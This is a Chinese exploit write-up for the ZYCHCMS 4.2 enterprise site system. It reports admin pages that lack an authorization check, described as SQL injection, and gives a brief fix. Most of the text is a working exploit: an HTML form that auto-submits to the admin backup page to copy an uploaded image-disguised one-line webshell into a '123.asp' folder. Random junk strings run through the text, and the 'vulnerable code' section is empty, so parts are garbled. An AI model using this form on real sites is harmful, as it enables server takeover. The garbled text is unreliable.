ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
①SQL注射漏洞
' z6 D/ y  X9 X1 N6 y+ I: E 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
& r( c( U; Q3 r* Q5 I# ` 漏洞原因：未过滤
( w& {9 m2 s& R1 Z 漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
) s' G* \9 {& ^ 修复方法：在文件开头加入代码

% x9 k! D7 ~/ y. G
②后台拿WBSHELL
6 d( ^3 B0 }! l% G4 a% Y 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
以下是代码本地提交代码

3 j$ J6 [7 }# U9 W' n" M3 e
6 i3 b; {9 n) P& i8 s3 N7 l0 |4 _8 y<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
<tr>
. N& f) t7 u( I8 i <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
  g; H7 n' F0 z7 } </tr>
<tr>
  }1 Q* a% m8 n0 N* V4 j <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
3 e2 ^& B( t0 W$ Q6 U <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
' a" l4 f& S1 o <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
/ P. g" N6 H1 x <div align=”left”>
: e$ A' o: p, w8 e( V, o0 I <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
</tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
; m' D7 d" v$ G+ B <td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
[如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
; t# J# x3 E/ j) q- i </tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
7 Y7 N1 Q7 ?6 e4 \$ j8 j" V% o' y3 g <input type=”submit” value=”确定备份” class=”btn”
! m2 }: d* w) r. m </div></td>
. b  \% `, b  H; @5 _( T </tr>
, s- u' L/ n- E& k4 `1 c </table></td></tr></form>
4 `. M1 i- A5 p- e' F3 N </table>
0 |6 T2 O( |8 V0 `$ W: a </td>
</tr>
</table>
<script>
0 ]# B& a+ L, n/ D3 D document.all.add.submit();
</script>
' \1 n# d  N" {
1 w/ Y) G9 `9 f, `4 v
! b5 ]# S' P8 ~+ f: O8 Y- q4 j' C
: E8 K; D& ^( L" M$ c


, ~. D" k" c$ i, G& D8 }# C0 W0 f0 D
1 C5 j5 R* O  @& `$ u* s# S" t  y0 ]
8 G5 S8 A3 p$ ^4 q/ `- j, |

- o6 _' H/ P$ o( v  U